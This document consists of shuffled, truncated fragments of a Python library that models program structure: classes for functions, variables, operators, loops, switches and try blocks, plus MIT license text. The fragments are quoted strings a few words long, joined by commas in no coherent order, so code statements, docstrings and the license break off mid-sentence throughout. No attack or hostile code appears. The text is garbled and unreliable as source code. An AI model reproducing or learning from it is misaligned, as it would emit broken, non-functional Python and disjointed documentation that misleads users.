\"\"\"Constructor for conditionals. Args: scope", "parent in the program tree. Kwargs: paren (bool): Whether the", "except IndexError as e: return None def __getitem__(self, i): \"\"\"Return", "\"\"\" for codeobj in self.children: codeobj._afterpass() def pretty_str(self, indent=0): \"\"\"Return", "--------------------------------------------------- class CodeExpression(CodeEntity): \"\"\"Base class for expressions within a program.", "length of both branches combined.\"\"\" return len(self.body) + len(self.else_body) def", "#IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,", "= parent self.file = None self.line = None self.column =", "references to it. If a function is a method of", "str(self.value)) return self.name class CodeExpressionStatement(CodeStatement): \"\"\"This class represents an expression", "all declared variables. \"\"\" def __init__(self, scope, parent): \"\"\"Constructor for", "codeobj): \"\"\"Add a child (variable) to this object.\"\"\" assert isinstance(codeobj,", "CodeEntity.__init__(self, scope, parent) self.name = name self.result = result self.parenthesis", "pretty += spaces + ' [declaration]' else: pretty += self.body.pretty_str(indent", "WITHOUT WARRANTY OF ANY KIND, EXPRESS OR #IMPLIED, INCLUDING BUT", "return '[{}] {}({})'.format(self.result, self.name, self.arguments[0]) if self.is_binary: return '[{}] ({}){}({})'.format(self.result,", "parent, id, name, result, definition=True): \"\"\"Constructor for functions. Args: scope", "the *i*-th one, or `None`.\"\"\" try: return self.statement(i + 1)", "\"\"\"This class represents a try-catch block statement. `try` blocks have", "iter(()) SomeValue.INTEGER = SomeValue(\"int\") SomeValue.FLOATING = SomeValue(\"float\") SomeValue.CHARACTER = SomeValue(\"char\")", "a statement (e.g. a block), or a function, given that", "a child (variable) to this object.\"\"\" assert isinstance(codeobj, CodeVariable) self.variables.append(codeobj)", "value is equal to the branch value. It may also", "of the expression in the program. result (str): The return", "for try block structure.\"\"\" assert isinstance(body, CodeBlock) self.body = body", "version of this concept: Java has null references, C/C++ NULL", "for those. A literal has a value (e.g. a list", "branch (the `else` branch), besides its mandatory one. \"\"\" def", "branch, its condition plus the body that should be repeated", "def _children(self): \"\"\"Yield all the children of this object, that", "= spaces + 'class ' + self.name if self.superclasses: superclasses", "if self.method_of: yield self.method_of for codeobj in self.arguments: if isinstance(codeobj,", "\"\"\" def __init__(self, scope, parent, name): \"\"\"Constructor for jump statements.", "None self.increment = None def _set_declarations(self, declarations): \"\"\"Set declarations local", "use, copy, modify, merge, publish, distribute, sublicense, and/or sell #copies", "self.condition = condition def _set_body(self, body): \"\"\"Set the main body", "CodeConditional(CodeControlFlow): \"\"\"This class represents a conditional (`if`). A conditional is", "= None self.reference = None @property def is_constructor(self): \"\"\"Whether the", "empty iterator. return iter(()) def _lookup_parent(self, cls): \"\"\"Lookup a transitive", "None def _add(self, codeobj): \"\"\"Add a child (value) to this", "execute when the evaluated value is equal to the branch", "declarations.scope = self.body def _set_body(self, body): \"\"\"Set the main body", "to use as indentation. \"\"\" return pretty_str(self.expression, indent=indent) def __repr__(self):", "a declaration statement. Some languages, such as C, C++ or", "block.\"\"\" def __init__(self, scope, parent): \"\"\"Constructor for catch block structures.\"\"\"", "Args: cls (class): The class to use as a filter.", "None def _set_field(self, codeobj): \"\"\"Set the object that contains the", "(either the `try` block, or a `catch` block, when an", "purposes. It defines the length of a statement group, and", "= len(self.body) n = o + len(self.else_body) if k >", "be lackluster. \"\"\" def __init__(self, scope, parent): \"\"\"Constructor for switches.", "sell #copies of the Software, and to permit persons to", "o and k < n: return self.else_body.statement(k) if k <", "all direct children of this object.\"\"\" for codeobj in self.parameters:", "*i*-th statement of this block. Behaves as if the *then*", "function is a class constructor.\"\"\" return self.member_of is not None", "result, value=(), paren=False): \"\"\"Constructor for a compound literal. Args: scope", "return '[{}] new {}({})'.format(self.result, self.name, args) if self.method_of: return '[{}]", "class (inner class), it should have its `member_of` set to", "branch), besides its mandatory one. \"\"\" def __init__(self, scope, parent):", "child (argument) to this object.\"\"\" assert isinstance(codeobj, CodeExpression.TYPES) self.arguments =", "a reference to the called function. If a call references", "an `if` statement omitting curly braces in C, C++, Java,", "this function. name (str): The name of the function in", "self.field_of: yield self.field_of def pretty_str(self, indent=0): \"\"\"Return a human-readable string", "finally body for try block structure.\"\"\" assert isinstance(body, CodeBlock) self.finally_body", "evaluated value is equal to the branch value. It may", "explicit=True) self.member_of = None self.references = [] self._definition = self", "a list of references to it and a list of", "programming entities. All code objects have a file name, a", "self def _children(self): \"\"\"Yield all direct children of this object.\"\"\"", "parent) self.name = name self.result = result self.parenthesis = paren", "when contained within a larger expression. \"\"\" def __init__(self, scope,", "fi += 1 if isinstance(codeobj, CodeOperator) and codeobj.is_assignment: if codeobj.arguments", "CodeClass) def _add(self, codeobj): \"\"\"Add a child (value) to this", "within another class (inner class), it should have its `member_of`", "*i*-th one, or `None`.\"\"\" k = i + 1 o", "pretty_str(self.value)) def __repr__(self): \"\"\"Return a string representation of this object.\"\"\"", "AssertionError(str(te)) CodeLiteral.__init__(self, scope, parent, value, result, paren) @property def values(self):", "the program tree. name (str): The name of the expression", "when the evaluated value is equal to the branch value.", "the variable in the program. result (str): The type of", "\"\"\" def __init__(self, scope, parent, paren=False): \"\"\"Constructor for null literals.", "group, and provides methods for integer-based indexing of program statements", "= self.line or 0 col = self.column or 0 name", "self.else_body.pretty_str(indent=indent + 2) return pretty class CodeLoop(CodeControlFlow): \"\"\"This class represents", "if self.superclasses: superclasses = ', '.join(self.superclasses) pretty += '(' +", "< 0: if k < o - n and k", "_afterpass(self): \"\"\"Assign the `member_of` of child members and call their", "that should have some variable or collection holding this object.", "return '[{}] {} = ({})'.format(self.result, self.name, self.value) class CodeFunction(CodeEntity, CodeStatementGroup):", "SomeValue(\"float\") SomeValue.CHARACTER = SomeValue(\"char\") SomeValue.STRING = SomeValue(\"string\") SomeValue.BOOL = SomeValue(\"bool\")", "isinstance(catch_block, self.CodeCatchBlock) self.catches.append(catch_block) def _set_finally_body(self, body): \"\"\"Set the finally body", "object is fully built. \"\"\" if hasattr(self, '_fi'): return fi", "less explicit in many others. In Python, the closest thing", "unique identifier for this class. name (str): The name of", "resolve references), a list of references to it and a", "__init__(self, scope, parent, expression=None): \"\"\"Constructor for expression statements. Args: scope", "of exceptions. Some languages also allow a `finally` block that", "class CodeFunctionCall(CodeExpression): \"\"\"This class represents a function call. A function", "children of this object.\"\"\" if self.field_of: yield self.field_of def pretty_str(self,", "A function call typically has a name (of the called", "is a global variable. In general, a variable is *global*", "represents an expression statement. It is only a wrapper. Many", "flow statements are assumed to have, at least, one branch", "assignments are often considered expressions, and, as such, assignment operators", "{}({})'.format(self.result, self.name, args) if self.method_of: return '[{}] {}.{}({})'.format(self.result, self.method_of.name, self.name,", "2) for c in self.children) return pretty def __repr__(self): \"\"\"Return", "most complex constructs of programming languages, so this implementation might", "has a name. In some cases, it may also have", "OR OTHER DEALINGS IN #THE SOFTWARE. ############################################################################### # Language Model", "appears in.\"\"\" return self._lookup_parent(CodeFunction) class CodeJumpStatement(CodeStatement): \"\"\"This class represents a", "self.name = name self.children = [] def _add(self, codeobj): \"\"\"Add", "scope, parent, \"switch\") self.cases = [] self.default_case = None def", "object.\"\"\" assert isinstance(codeobj, CodeVariable) self.variables.append(codeobj) def _children(self): \"\"\"Yield all direct", "function, given that the variable is not one of the", "\"\"\"Return the length of the statement group.\"\"\" return len(self.body) #", "codeobj in self.children: yield codeobj def _afterpass(self): \"\"\"Call the `_afterpass()`", "name (its token), a return type, and a tuple of", "the variable is not one of the function's parameters. \"\"\"", "to variables. This should only be called after the object", "also have a default branch. Switches are often one of", "call their `_afterpass()`. This should only be called after the", "codeobj for codeobj in self.finally_body._children(): yield codeobj def __len__(self): \"\"\"Return", "{!r}'.format(self.result, self.value) CodeExpression.TYPES = (int, long, float, bool, basestring, SomeValue,", "self.body.statement(k) if k > o - n: return self.else_body.statement(k) return", "= explicit def statement(self, i): \"\"\"Return the *i*-th statement of", "'[namespace {}]'.format(self.name) class CodeGlobalScope(CodeEntity): \"\"\"This class represents the global scope", "in parentheses. \"\"\" CodeExpression.__init__(self, scope, parent, name, result, paren) self.full_name", "(statement) to this object.\"\"\" assert isinstance(codeobj, CodeStatement) codeobj._si = len(self.body)", "provide common utility methods for objects that group multiple program", "a function, given that the variable is not one of", "self.body.pretty_str(indent=indent + 2) if self.else_body: pretty += '\\n{}else:\\n'.format(spaces) pretty +=", "this concept: Java has null references, C/C++ NULL pointers, Python", "return '{} {}'.format(self.name, self.get_branches()) class CodeConditional(CodeControlFlow): \"\"\"This class represents a", "a function. An operator typically has a name (its token),", "has a name and a list of children objects (variables,", "is the `scope` and `parent` of all other objects. It", "All code objects have a file name, a line number,", "themselves. Some languages allow blocks to be implicit in some", "block they belong to) and a parent object that should", "the namespace in the program. \"\"\" CodeEntity.__init__(self, scope, parent) self.name", "represents a try-catch block statement. `try` blocks have a main", "of this block. Behaves as if the *then* and *else*", "of the function in the program. \"\"\" CodeEntity.__init__(self, scope, parent)", "for this loop (e.g. in a `for`).\"\"\" assert isinstance(statement, CodeStatement)", "CodeExpression.TYPES = (int, long, float, bool, basestring, SomeValue, CodeLiteral, CodeExpression)", "'#' + self.name def __repr__(self): \"\"\"Return a string representation of", "\"\"\" return (' ' * indent) + self.__str__() def ast_str(self,", "called after the object is fully built. \"\"\" if hasattr(self,", "CodeEntity.__init__(self, scope, parent) self._si = -1 @property def function(self): \"\"\"The", "functionality for such statements. In many languages, statements must be", "in the program. \"\"\" CodeExpression.__init__(self, scope, parent, '(default)', result) #", "is a ternary operator.\"\"\" return len(self.arguments) == 3 @property def", "the `member_of` of child members and call their `_afterpass()`. This", "statement omitting curly braces in C, C++, Java, etc. This", "\"\"\"Finalizes the construction of a code entity.\"\"\" pass def _validity_check(self):", "codeobj in self.parameters: yield codeobj for codeobj in self.body._children(): yield", "= CodeBlock(scope, self, explicit=True) def _set_declarations(self, declarations): \"\"\"Set declarations local", "\"\"\" def __init__(self, scope, parent, expression=None): \"\"\"Constructor for expression statements.", "parent in the program tree. Kwargs: explicit (bool): Whether the", "spaces to use as indentation. \"\"\" if isinstance(something, CodeEntity): return", "' ' * indent pretty = spaces + 'try:\\n' pretty", "if isinstance(self.value, CodeExpression): yield self.value def pretty_str(self, indent=0): \"\"\"Return a", "this statement. \"\"\" CodeStatement.__init__(self, scope, parent) self.expression = expression def", "def __init__(self, scope, parent, expression=None): \"\"\"Constructor for expression statements. Args:", "list `[1, 2, 3]`) and a type (`result`), and could", "type of literal whose value is compound, rather than simple.", "composition. result (str): The return type of the literal in", "self.condition for codeobj in self.body._children(): yield codeobj for codeobj in", "\"=\") def __init__(self, scope, parent, name, result, args=None, paren=False): \"\"\"Constructor", "CodeEntity(object): \"\"\"Base class for all programming entities. All code objects", "value for diverse primitive types.\"\"\" def __init__(self, result): \"\"\"Constructor for", "direct children of this object.\"\"\" if isinstance(self.value, CodeExpression): yield self.value", "({}){}({})'.format(self.result, self.arguments[0], self.name, self.arguments[1]) return '[{}] {}'.format(self.result, self.name) class CodeFunctionCall(CodeExpression):", "class for literal types not present in Python. This class", "FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL", "codeobj in catch_block._children(): yield codeobj for codeobj in self.finally_body._children(): yield", "simple. An example present in many programming languages are list", "The return type of the expression in the program. Kwargs:", "levels. \"\"\" line = self.line or 0 col = self.column", "isinstance(codeobj, CodeStatement) codeobj._si = len(self.body) self.body.append(codeobj) def _children(self): \"\"\"Yield all", "without restriction, including without limitation the rights #to use, copy,", "None self.references = [] self.writes = [] @property def is_definition(self):", "IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER", "parent): \"\"\"Constructor for catch block structures.\"\"\" CodeStatement.__init__(self, scope, parent) self.declarations", "+= self.body.pretty_str(indent=indent + 2) if self.else_body: pretty += '\\n{}else:\\n'.format(spaces) pretty", "literal has a sequence of values that compose it (`values`),", "an instance of a given class.\"\"\" codeobj = self.parent while", "A declaration statement contains a list of all declared variables.", "(*cases*) that execute when the evaluated value is equal to", "= SomeValue(\"string\") SomeValue.BOOL = SomeValue(\"bool\") class CodeLiteral(CodeExpression): \"\"\"Base class for", "of this object.\"\"\" for codeobj in self.parameters: yield codeobj for", "to the branch value. It may also have a default", "direct children of this object.\"\"\" if isinstance(self.value, CodeEntity): yield self.value", "statements within a try-catch block.\"\"\" def __init__(self, scope, parent): \"\"\"Constructor", "class represents a reference expression (e.g. to a variable). A", "`method_of` should be set to the object on which a", "the name of the function in a function call) and", "flow structure.\"\"\" assert isinstance(body, CodeStatement) if isinstance(body, CodeBlock): self.body =", "return '[{}] {}.{}({})'.format(self.result, self.method_of.name, self.name, args) return '[{}] {}({})'.format(self.result, self.name,", "' * indent) + self.__str__() def ast_str(self, indent=0): \"\"\"Return a", "self.arguments + (codeobj,) def _set_method(self, codeobj): \"\"\"Set the object on", "all direct children of this object.\"\"\" for codeobj in self.body._children():", "CodeEntity): yield value def pretty_str(self, indent=0): \"\"\"Return a human-readable string", "often constructed as `[1, 2, 3]`. A composite literal has", "variable, class) to this object.\"\"\" assert isinstance(codeobj, (CodeFunction, CodeVariable, CodeClass))", ">= 0 and i < n: if i < o:", "c in self.members ) else: pretty += spaces + '", "codeobj.is_definition: if not codeobj._definition is None: codeobj._definition.member_of = self codeobj._afterpass()", "languages, so this implementation might be lackluster. \"\"\" def __init__(self,", "and statement) to this switch.\"\"\" self.cases.append((value, statement)) def _add_default_branch(self, statement):", "object.\"\"\" return isinstance(self.scope, CodeClass) def _add(self, codeobj): \"\"\"Add a child", "self.name, args) if self.method_of: return '[{}] {}.{}({})'.format(self.result, self.method_of.name, self.name, args)", "1 o = len(self.body) n = o + len(self.else_body) if", "block). It also has an unique `id` that identifies it", "programmer. This class represents such omitted arguments. A default argument", "It is not meant to be instantiated directly, only used", "2) pretty = '{}catch ({}):\\n{}'.format(spaces, decls, body) return pretty ###############################################################################", "a name. \"\"\" def __init__(self, scope, parent, name): \"\"\"Constructor for", "a name (e.g. the name of the function in a", "---------------------------------------------------- class CodeStatement(CodeEntity): \"\"\"Base class for program statements. Programming languages", "\"\"\"Add a child (variable) to this object.\"\"\" assert isinstance(codeobj, CodeVariable)", "of this object.\"\"\" for codeobj in self.arguments: if isinstance(codeobj, CodeExpression):", "block. Behaves as if the *then* and *else* branches were", "- o) elif i < 0 and i >= -n:", "'{}{} {} = {}'.format(' ' * indent, self.result, self.name, pretty_str(self.value))", "k > o - n: return self.else_body.statement(k) return None def", "of this object.\"\"\" params = ', '.join(map(str, self.parameters)) return '[{}]", "the statement in the program. \"\"\" CodeStatement.__init__(self, scope, parent) self.name", "CodeExpression.LITERALS = (int, long, float, bool, basestring, CodeLiteral) class CodeNull(CodeLiteral):", "value sequence in this composition. result (str): The return type", "spaces to use as indentation. \"\"\" return (' ' *", "child): \"\"\"Add a value to the sequence in this composition.\"\"\"", "return '{}({})'.format(indent, values) return '{}{}'.format(indent, values) def __repr__(self): \"\"\"Return a", "indentation. \"\"\" indent = ' ' * indent values =", "if self._definition is not self: pretty += spaces + '", "codeobj for codeobj in self.else_body._children(): yield codeobj def pretty_str(self, indent=0):", "__len__(self): \"\"\"Return the length of all blocks combined.\"\"\" n =", "type. \"\"\" def __init__(self, scope, parent, result): \"\"\"Constructor for default", "in self.scope.parameters) @property def is_member(self): \"\"\"Whether this is a member/attribute", "of this block.\"\"\" return self.body[i] def _add(self, codeobj): \"\"\"Add a", "class provides common functionality for such statements. In many languages,", "branches (executed when no condition is met). A control flow", "not have a name. \"\"\" def __init__(self, scope, parent, value,", "this is a reference of.\"\"\" assert isinstance(codeobj, CodeExpression) self.field_of =", "self.else_branch: return [self.then_branch, self.else_branch] return [self.then_branch] def _add_default_branch(self, body): \"\"\"Add", "cls, recursive=False): \"\"\"Retrieves all descendants (including self) that are instances", "of all declared variables. \"\"\" def __init__(self, scope, parent): \"\"\"Constructor", "control flow branches and functions always have a block as", "= ', '.join(map(str, self.arguments)) if self.is_constructor: return '[{}] new {}({})'.format(self.result,", "its containing scope is a statement (e.g. a block), or", "the literal in the program. Kwargs: paren (bool): Whether the", "block as their body. \"\"\" def __init__(self, scope, parent, explicit=True):", "including without limitation the rights #to use, copy, modify, merge,", "return '\\n'.join(stmt.pretty_str(indent) for stmt in self.body) else: return (' '", "the program. Kwargs: paren (bool): Whether the literal is enclosed", "{}.{}({})'.format(self.result, self.method_of.name, self.name, args) return '[{}] {}({})'.format(self.result, self.name, args) class", "Multiple `catch` blocks may be defined to handle specific types", "name, result, paren) self.arguments = args or () @property def", "({}):\\n'.format(spaces, condition) pretty += self.body.pretty_str(indent=indent + 2) if self.else_body: pretty", "is_definition(self): \"\"\"Whether this is a definition or a declaration of", "value, statement): \"\"\"Add a branch/case (value and statement) to this", "list with the conditional branch and the default branch.\"\"\" if", "literals, often constructed as `[1, 2, 3]`. A composite literal", "be called after the object is fully built. \"\"\" if", "return '[class {}]'.format(self.name) class CodeNamespace(CodeEntity): \"\"\"This class represents a program", "CodeTryBlock(CodeStatement, CodeStatementGroup): \"\"\"This class represents a try-catch block statement. `try`", "children, thus an empty iterator is returned. \"\"\" return iter(())", "return '\\n\\n'.join( codeobj.pretty_str(indent=indent) for codeobj in self.children ) # -----", "pretty class CodeCatchBlock(CodeStatement, CodeStatementGroup): \"\"\"Helper class for catch statements within", "this object.\"\"\" return self.__repr__() def __repr__(self): \"\"\"Return a string representation", "= paren @property def function(self): \"\"\"The function where this expression", "In Python, the closest thing should be a module. In", "free of charge, to any person obtaining a copy #of", "return iter(()) SomeValue.INTEGER = SomeValue(\"int\") SomeValue.FLOATING = SomeValue(\"float\") SomeValue.CHARACTER =", "+= self.body.pretty_str(indent=indent + 2) return pretty class CodeTryBlock(CodeStatement, CodeStatementGroup): \"\"\"This", "_children(self): \"\"\"Yield all direct children of this object.\"\"\" if self.field_of:", "= ' ' * indent pretty = '{}namespace {}:\\n'.format(spaces, self.name)", "(CodeExpression): The expression of this statement. \"\"\" CodeStatement.__init__(self, scope, parent)", "_set_method(self, codeobj): \"\"\"Set the object on which a method is", "of spaces to use as indentation. \"\"\" return '\\n\\n'.join( codeobj.pretty_str(indent=indent)", "structure.\"\"\" assert isinstance(body, CodeBlock) self.finally_body = body def _children(self): \"\"\"Yield", "2) return pretty class CodeCatchBlock(CodeStatement, CodeStatementGroup): \"\"\"Helper class for catch", "if isinstance(body, CodeBlock): self.body = body else: self.body._add(body) def _children(self):", "return self.__repr__() def __repr__(self): \"\"\"Return a string representation of this", "of a given class.\"\"\" codeobj = self.parent while codeobj is", "CodeJumpStatement(CodeStatement): \"\"\"This class represents a jump statement (e.g. `return`, `break`).", "as C, C++ or Java, consider this special kind of", "variable. name (str): The name of the variable in the", "for switches. Args: scope (CodeEntity): The program scope where this", "id: An unique identifier for this class. name (str): The", "of spaces to use as indentation. \"\"\" return pretty_str(self.expression, indent=indent)", "some cases, it may also have an associated value (e.g.", "Behaves as if the *then* and *else* branches were concatenated,", "program. Kwargs: paren (bool): Whether the expression is enclosed in", "CodeControlFlow.__init__(self, scope, parent, 'if') self.else_body = CodeBlock(scope, self, explicit=False) @property", "result, args=None, paren=False): \"\"\"Constructor for operators. Args: scope (CodeEntity): The", "statement from the object's `body`.\"\"\" return self.body.statement(i) def statement_after(self, i):", "= ' ({})'.format(self.result) if hasattr(self, 'result') else '' prefix =", "children, and thus should return # an empty iterator. return", "'catch ({}) {}'.format(self.declarations, self.body) def pretty_str(self, indent=0): \"\"\"Return a human-readable", "is no children. This class inherits from CodeLiteral just for", "all direct children of this object.\"\"\" if isinstance(self.declarations, CodeStatement): yield", "or non-existent. A namespace typically has a name and a", "declarations local to this loop (e.g. `for` variables).\"\"\" assert isinstance(declarations,", "n: return self.else_body.statement(k) if k < 0: if k <", "new values to the variable. If the variable is a", "def _add_value(self, child): \"\"\"Add a value to the sequence in", "the conditional branch and the default branch.\"\"\" if self.else_branch: return", "declarations, as well as an increment statement. A loop has", "indent) + self.name def __repr__(self): \"\"\"Return a string representation of", "object, `member_of` should contain a reference to such object, instead", "program tree. id: An unique identifier for this class. name", "self.catches)) return n def __repr__(self): \"\"\"Return a string representation of", "A jump statement has a name. In some cases, it", "a human-readable string representation of an object. Uses `pretty_str` if", "a string representation of this object.\"\"\" if self.field_of: return '[{}]", "statements that write new values to the variable. If the", "have their own version of this concept: Java has null", "permission notice shall be included in #all copies or substantial", "(CodeNamespace, CodeClass, CodeFunction, CodeVariable)) self.children.append(codeobj) def _children(self): \"\"\"Yield all direct", "the program. \"\"\" CodeControlFlow.__init__(self, scope, parent, name) self.declarations = None", "that is no children.\"\"\" return iter(()) SomeValue.INTEGER = SomeValue(\"int\") SomeValue.FLOATING", "of this object.\"\"\" return repr(self.expression) class CodeBlock(CodeStatement, CodeStatementGroup): \"\"\"This class", "`parent`. \"\"\" def __init__(self): \"\"\"Constructor for global scope objects.\"\"\" CodeEntity.__init__(self,", "else: self.body._add(body) def _children(self): \"\"\"Yield all direct children of this", "amount of spaces to use as indentation. \"\"\" if isinstance(something,", "indent, self.result, self.name, pretty_str(self.value)) def __repr__(self): \"\"\"Return a string representation", "the program. Kwargs: args (tuple): Initial tuple of arguments. paren", "\"\"\"Constructor for switches. Args: scope (CodeEntity): The program scope where", "If there are no better candidates, it is the `scope`", "of the conditional.\"\"\" return True, self.else_body def statement(self, i): \"\"\"Return", "args or () @property def is_unary(self): \"\"\"Whether this is a", "as C++, but less explicit in many others. In Python,", "children.\"\"\" return iter(()) SomeValue.INTEGER = SomeValue(\"int\") SomeValue.FLOATING = SomeValue(\"float\") SomeValue.CHARACTER", "methods for integer-based indexing of program statements (as if using", "0: if k < o - n and k >", "of statements (e.g. return statements, control flow, etc.). This class", "this object.\"\"\" return repr(self.expression) class CodeBlock(CodeStatement, CodeStatementGroup): \"\"\"This class represents", "'if') self.else_body = CodeBlock(scope, self, explicit=False) @property def then_branch(self): \"\"\"The", "scope, parent, 'literal', result, paren) self.value = value def pretty_str(self,", "CodeOperator(CodeExpression): \"\"\"This class represents an operator expression (e.g. `a +", "declarations declarations.scope = self.body def _set_increment(self, statement): \"\"\"Set the increment", "children of this object.\"\"\" for value in self.value: if isinstance(value,", "__init__(self, scope, parent, id_, name, definition=True): \"\"\"Constructor for classes. Args:", "self.result = result self.value = None self.member_of = None self.references", "2) return pretty def __repr__(self): \"\"\"Return a string representation of", "pretty = '{}({})' if self.parenthesis else '{}{}' name = ('{}.{}'.format(self.field_of.pretty_str(),", "SomeValue(\"int\") SomeValue.FLOATING = SomeValue(\"float\") SomeValue.CHARACTER = SomeValue(\"char\") SomeValue.STRING = SomeValue(\"string\")", "The expression of this statement. \"\"\" CodeStatement.__init__(self, scope, parent) self.expression", "def __len__(self): \"\"\"Return the length of all blocks combined.\"\"\" n", "if self.is_constructor: pretty = '{}{}({}):\\n'.format(spaces, self.name, params) else: pretty =", "name self.result = result self.parenthesis = paren @property def function(self):", "program tree. name (str): The name of the operator in", "self.cases = [] self.default_case = None def _add_branch(self, value, statement):", "spaces + ' [declaration]' return pretty def __repr__(self): \"\"\"Return a", "function calls. Args: scope (CodeEntity): The program scope where this", "at least one branch (*cases*) that execute when the evaluated", "in the program. \"\"\" CodeStatement.__init__(self, scope, parent) self.name = name", "to descend recursively down the tree. \"\"\" source = self.walk_preorder", "'(default)', result) # ----- Statement Entities ---------------------------------------------------- class CodeStatement(CodeEntity): \"\"\"Base", "code blocks. Args: scope (CodeEntity): The program scope where this", "\"\"\" CodeEntity.__init__(self, scope, parent) self._si = -1 @property def function(self):", "meant to be inherited from, and not instantiated directly. An", "\"\"\"Set the main body for try block structure.\"\"\" assert isinstance(body,", "\"\"\" CodeEntity.__init__(self, scope, parent) self.name = name self.result = result", "enclosed in parentheses. It does not have a name. \"\"\"", "if isinstance(codeobj, cls) ] def _afterpass(self): \"\"\"Finalizes the construction of", "parameter.\"\"\" return (isinstance(self.scope, CodeFunction) and self in self.scope.parameters) @property def", "CodeBlock(scope, self, explicit=False) @property def then_branch(self): \"\"\"The branch associated with", "< n: if i < o: return self.body.statement(i) return self.else_body.statement(i", "should be set to that object. \"\"\" def __init__(self, scope,", "Args: something: Some value to convert. Kwargs: indent (int): The", "\"\"\"Return a human-readable string representation of this object. Kwargs: indent", "= name self.result = result self.parenthesis = paren @property def", "program. \"\"\" CodeExpression.__init__(self, scope, parent, '(default)', result) # ----- Statement", "built. \"\"\" if hasattr(self, '_fi'): return fi = 0 for", "object.\"\"\" if self.method_of: yield self.method_of for codeobj in self.arguments: if", "or `parent`. \"\"\" def __init__(self): \"\"\"Constructor for global scope objects.\"\"\"", "= ' ' * indent pretty = spaces + 'class", "\"\"\" CodeStatement.__init__(self, scope, parent) self.expression = expression def _children(self): \"\"\"Yield", "of.\"\"\" assert isinstance(codeobj, CodeExpression) self.field_of = codeobj def _children(self): \"\"\"Yield", "return pretty class CodeSwitch(CodeControlFlow): \"\"\"This class represents a switch statement.", "return spaces + ', '.join(v.pretty_str() for v in self.variables) def", "in self.finally_body._children(): yield codeobj def __len__(self): \"\"\"Return the length of", "code block they belong to) and a parent object that", "if self.value is not None: return '{} {}'.format(self.name, str(self.value)) return", "number, a column number, a programming scope (e.g. the function", "@property def is_unary(self): \"\"\"Whether this is a unary operator.\"\"\" return", "operator.\"\"\" return len(self.arguments) == 2 @property def is_ternary(self): \"\"\"Whether this", "self.body._children(): yield codeobj def pretty_str(self, indent=0): \"\"\"Return a human-readable string", "self.value.append(child) def _children(self): \"\"\"Yield all direct children of this object.\"\"\"", "else '{}{}' args = ', '.join(map(pretty_str, self.arguments)) if self.method_of: call", "= (int, long, float, bool, basestring, SomeValue, CodeLiteral, CodeExpression) CodeExpression.LITERALS", "children of this object, that is no children. This class", "represents a jump statement (e.g. `return`, `break`). A jump statement", "n = o + len(self.else_body) if k > 0: if", "an unknown value for diverse primitive types.\"\"\" def __init__(self, result):", "set to that object. \"\"\" def __init__(self, scope, parent, name,", "called function is a constructor.\"\"\" return self.result == self.name def", "Java has null references, C/C++ NULL pointers, Python None and", "None def __getitem__(self, i): \"\"\"Return the *i*-th statement from the", "CodeStatement) if isinstance(body, CodeBlock): self.body = body else: self.body._add(body) def", "i = self.increment.pretty_str(indent=1) if self.increment else '' pretty = '{}for", "default branch of the conditional.\"\"\" return True, self.else_body def statement(self,", "the program. result (str): The return type of the function", "is_ternary(self): \"\"\"Whether this is a ternary operator.\"\"\" return len(self.arguments) ==", "name, result, args=None, paren=False): \"\"\"Constructor for operators. Args: scope (CodeEntity):", "class CodeConditional(CodeControlFlow): \"\"\"This class represents a conditional (`if`). A conditional", "= declarations declarations.scope = self.body def _set_body(self, body): \"\"\"Set the", "explicit=True) def _set_body(self, body): \"\"\"Set the main body for try", "return self._definition is self def _add(self, codeobj): \"\"\"Add a child", "Whether to descend recursively down the tree. \"\"\" source =", "the condition holds. \"\"\" def __init__(self, scope, parent, name): \"\"\"Constructor", "a tree-like structure. Kwargs: indent (int): The number of indentation", "in parentheses. \"\"\" def __init__(self, scope, parent, name, result, paren=False):", "+ superclasses + ')' pretty += ':\\n' if self.members: pretty", "yield self.declarations for codeobj in self.body._children(): yield codeobj def __repr__(self):", "isinstance(codeobj, CodeExpression.TYPES) self.value = codeobj def _children(self): \"\"\"Yield all direct", "\"\"\"Whether this is a unary operator.\"\"\" return len(self.arguments) == 1", "in self.body) else: return (' ' * indent) + '[empty]'", "their `_afterpass()`. This should only be called after the object", "CodeEntity.__init__(self, scope, parent) self.name = name self.children = [] def", "or code block they belong to) and a parent object", "else None @property def is_definition(self): \"\"\"Whether this is a function", "function call) and a type (`result`). Also, an expression should", "control flow structure.\"\"\" assert isinstance(condition, CodeExpression.TYPES) self.condition = condition def", "default body for this conditional (the `else` branch).\"\"\" assert isinstance(body,", "identifies it in the program and a list of references", "namespaces. Args: scope (CodeEntity): The program scope where this object", "structure.\"\"\" assert isinstance(body, CodeBlock) self.body = body def _add_catch(self, catch_block):", "\"\"\"Yield all direct children of this object.\"\"\" if isinstance(self.declarations, CodeStatement):", "program tree. \"\"\" CodeControlFlow.__init__(self, scope, parent, 'if') self.else_body = CodeBlock(scope,", "= spaces + 'try:\\n' pretty += self.body.pretty_str(indent=indent + 2) for", "expression in the program. Kwargs: paren (bool): Whether the reference", "This class inherits from CodeLiteral just for consistency with the", "a tuple of its arguments. \"\"\" def __init__(self, scope, parent):", "\"\"\"Constructor for namespaces. Args: scope (CodeEntity): The program scope where", "codeobj._si = len(self.body) self.body.append(codeobj) def _children(self): \"\"\"Yield all direct children", "length of all blocks combined.\"\"\" n = len(self.body) + len(self.catches)", "in Python. This class is meant to represent a literal", "= self.name + pretty_str(self.arguments[0]) else: operator = '{} {} {}'.format(pretty_str(self.arguments[0]),", "class), it should have its `member_of` set to the corresponding", "name, result, definition=True): \"\"\"Constructor for functions. Args: scope (CodeEntity): The", "value. result (str): The return type of the literal in", "statement has a name. In some cases, it may also", "self.result, self.name, params) if self._definition is not self: pretty +=", "\"\"\" def __init__(self, scope, parent): \"\"\"Base constructor for code objects.", "The amount of spaces to use as indentation. \"\"\" if", "in self.children ) # ----- Expression Entities --------------------------------------------------- class CodeExpression(CodeEntity):", "assert isinstance(body, CodeBlock) self.finally_body = body def _children(self): \"\"\"Yield all", "== 1 @property def is_binary(self): \"\"\"Whether this is a binary", "or 0 col = self.column or 0 name = type(self).__name__", "> o and k < n: return self.else_body.statement(k) if k", "if isinstance(self.declarations, CodeStatement): yield self.declarations for codeobj in self.body._children(): yield", "indentation. \"\"\" return (' ' * indent) + self.__str__() def", "[] self.body = CodeBlock(self, self, explicit=True) self.member_of = None self.references", "a function call. A function call typically has a name", "a string representation of this object.\"\"\" return '[{}] {!r}'.format(self.result, self.value)", "\"\"\" CodeStatement.__init__(self, scope, parent) self.body = [] self.explicit = explicit", "reference to such object, instead of `None`. 